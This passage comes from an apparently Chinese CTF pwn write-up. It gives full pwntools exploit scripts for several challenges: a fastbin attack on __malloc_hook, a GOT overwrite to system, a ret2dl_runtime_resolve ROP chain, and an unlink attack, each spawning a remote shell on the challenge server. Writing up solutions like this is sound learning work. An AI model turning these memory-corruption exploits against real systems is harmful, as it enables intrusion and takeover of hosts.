31 | payload = '\x00'*0x60 + p64(0x170) + '\x70' |
32 | edit(2,payload) |
33 | add(0xF8,'\n') |
34 | show(2) |
35 | main_arena = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 88 |
36 | log.success('Main_Arena:\t' + hex(main_arena)) |
37 | libcbase = main_arena - (libc.symbols['__malloc_hook'] + 0x10) |
38 | malloc_hook = libcbase + libc.symbols['__malloc_hook'] |
39 | one_gadget = libcbase + 0xF1147 |
40 | add(0x60,'\n') |
41 | dele(3) |
42 | dele(2) |
43 | payload = p64(malloc_hook-0x23)+'\n' |
44 | edit(4,payload) |
45 | add(0x60,'\n') |
46 | add(0x60,'\x00'*0x13 + p64(one_gadget)+'\n') |
47 | #p.sendlineafter('edit\n:','1') |
48 | #p.sendlineafter('size?','32') |
49 | dele(2) |
50 | dele(4) |
51 | p.interactive() |
4.补回来了,一个C++逆向,很简单,发现overwrite那里会溢出覆写到下一个列表的chunk块中,且got表可改,则直接溢出到下一个列表中的ITEM地址,从而修改其ITEM地址,替换成的atol函数的got表地址,show_item则打印真实地址,继而利用edit修改got表为system,这里由于写入system时用到atoi,则我们转而利用atol函数才行
1 | from pwn import* |
2 | p = process('./main') |
3 | p = remote('47.103.214.163',20303) |
4 | elf = ELF('main') |
5 | libc = ELF('libc-2.23.so') |
6 | def create(size): |
7 | p.sendlineafter('>','1') |
8 | p.sendlineafter('List count: ',str(size)) |
9 | def show(index,item): |
10 | p.sendlineafter('>','2') |
11 | p.sendlineafter('List id: ',str(index)) |
12 | p.sendlineafter('Item id: ',str(item)) |
13 | def edit(index,item,num): |
14 | p.sendlineafter('>','3') |
15 | p.sendlineafter('List id: ',str(index)) |
16 | p.sendlineafter('Item id: ',str(item)) |
17 | p.sendlineafter('New number: ',str(num)) |
18 | def overwrite(index,star,end,num): |
19 | p.sendlineafter('>','4') |
20 | p.sendlineafter('List id: ',str(index)) |
21 | p.sendlineafter('Star id: ',str(star)) |
22 | p.sendlineafter('End id: ',str(end)) |
23 | p.sendlineafter('New number',str(num)) |
24 | atol_got = elf.got['atol'] |
25 | atol_offset = libc.symbols['atol'] |
26 | system_offset = libc.symbols['system'] |
27 | |
28 | create(4) |
29 | create(4) |
30 | |
31 | edit(0,0,5) |
32 | overwrite(0,3,6,atol_got) |
33 | show(1,0) |
34 | p.recvuntil('Number:') |
35 | atol_addr = int(p.recvuntil('\n',drop=True),10) |
36 | log.success('Atol_Addr:\t' + hex(atol_addr)) |
37 | libc_base = atol_addr - atol_offset |
38 | system = libc_base + system_offset |
39 | edit(1,0,system) |
40 | |
41 | p.sendlineafter('>','3') |
42 | p.sendlineafter('List id: ','0') |
43 | p.sendlineafter('Item id: ','0') |
44 | p.sendlineafter('New number: ','/bin/sh\x00') |
45 | p.interactive() |
Week_FOUR
1.ROP_LEVEL5
一个ret2_dl_runtime_resolve,可以找CTF_WIKI上面的模板做,理解的话,看我另外一篇文章JUMP——SLOT即可,延迟绑定
1 | from pwn import* |
2 | p = process('./ROP5') |
3 | rop = ROP('./ROP5') |
4 | elf = ELF('./ROP5') |
5 | p = remote('47.103.214.163',20700) |
6 | plt0 = elf.get_section_by_name('.plt').header.sh_addr |
7 | rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr |
8 | dynsym = elf.get_section_by_name('.dynsym').header.sh_addr |
9 | dynstr = elf.get_section_by_name('.dynstr').header.sh_addr |
10 | |
11 | base_stage = 0x804A060 + 0x400 |
12 | |
13 | rop.raw('U' * 0x48) |
14 | rop.read(0, base_stage, 100) |
15 | rop.migrate(base_stage) |
16 | |
17 | p.sendlineafter('LEVEL5?',rop.chain()) |
18 | |
19 | fake_sym_addr = base_stage + 24 #fake_sym |
20 | align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #alignment |
21 | fake_sym_addr = fake_sym_addr + align # |
22 | index_dynsym = (fake_sym_addr - dynsym) / 0x10 |
23 | st_name = fake_sym_addr + 0x10 - dynstr #system |
24 | fake_read_sym = flat([st_name, 0, 0, 0x12]) |
25 | |
26 | index_offset = base_stage + 16 - rel_plt |
27 | read_got = elf.got['read'] |
28 | r_info = (index_dynsym << 8) | 0x7 |
29 | fake_read_reloc = flat([read_got, r_info]) |
30 | |
31 | payload = p32(plt0) |
32 | payload += p32(index_offset) |
33 | payload += 'UUUU' |
34 | payload += p32(base_stage + 80) # binsh |
35 | payload += fake_read_reloc |
36 | payload += 'U'*align |
37 | payload += fake_read_sym |
38 | payload += 'system\x00' |
39 | payload += 'U' * (80 -len(payload)) |
40 | payload += '/bin/sh\x00' |
41 | payload += 'U'*(100 - len(payload)) |
42 | p.sendline(payload) |
43 | p.interactive() |
2.Annevi_note2
程序关闭了标准输出[stdout],但是没有关闭错误输出[stderr],所以通过给的libc文件,找到对应两个函数的偏移,即可通过爆破,从而有部分概率将标准输出改到错误输出上面,从而输出想要的内容
1 | from pwn import* |
2 | p = remote('47.103.214.163',20701) |
3 | #p = process('./AN2') |
4 | elf = ELF('AN2') |
5 | libc = ELF('libc-2.23.so') |
6 | puts_got = elf.got['puts'] |
7 | context.log_level = 'debug' |
8 | context(arch = 'amd64',os ='linux') |
9 | def add(size,content): |
10 | p.sendline('1') |
11 | p.sendline(str(size)) # 1024> size >=144 |
12 | p.sendline(content) |
13 | def dele(index): |
14 | p.sendline('2') |
15 | p.sendline(str(index)) |
16 | def show(index): |
17 | p.sendline('3') |
18 | p.sendline(str(index)) |
19 | def edit(index,content): |
20 | p.sendline('4') |
21 | p.sendline(str(index)) |
22 | p.sendline(content) |
23 | stdout = 0x6020A0 |
24 | List = 0x6020E0 |
25 | add(0x90,'U'*0x10) #0 |
26 | add(0x90,'U'*0x10) #1 |
27 | #----------create the fake chunk |
28 | payload = p64(0) |
29 | payload += p64(0x90) # size |
30 | payload += p64(List - 0x18) # fd List[0]-0x18 |
31 | payload += p64(List - 0x10) # bk List[0]-0x10 |
32 | #---------- |
33 | payload = payload.ljust(0x90,'\x00') #padding |
34 | payload += p64(0x90) |
35 | payload += p64(0xA0) |
36 | edit(0,payload) |
37 | dele(1) |
38 | payload = 'U'*0x18 + p64(puts_got) + p64(List) + p64(stdout) |
39 | edit(0,payload) |
40 | edit(2,'\x40\x25') |
41 | show(0) |
42 | p.recvuntil('content:') |
43 | libcbase = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts'] |
44 | log.success('LibcBase:\t' + hex(libcbase)) |
45 | system = libcbase + libc.sym['system'] |
46 | str_bin_sh = libcbase + 0x18CD57 |
47 | free_hook = libcbase + 0x3C67A8 |
48 | edit(1,p64(free_hook)+p64(str_bin_sh)) |
49 | edit(0,p64(system)) |
50 | dele(1) |
51 | p.interactive() |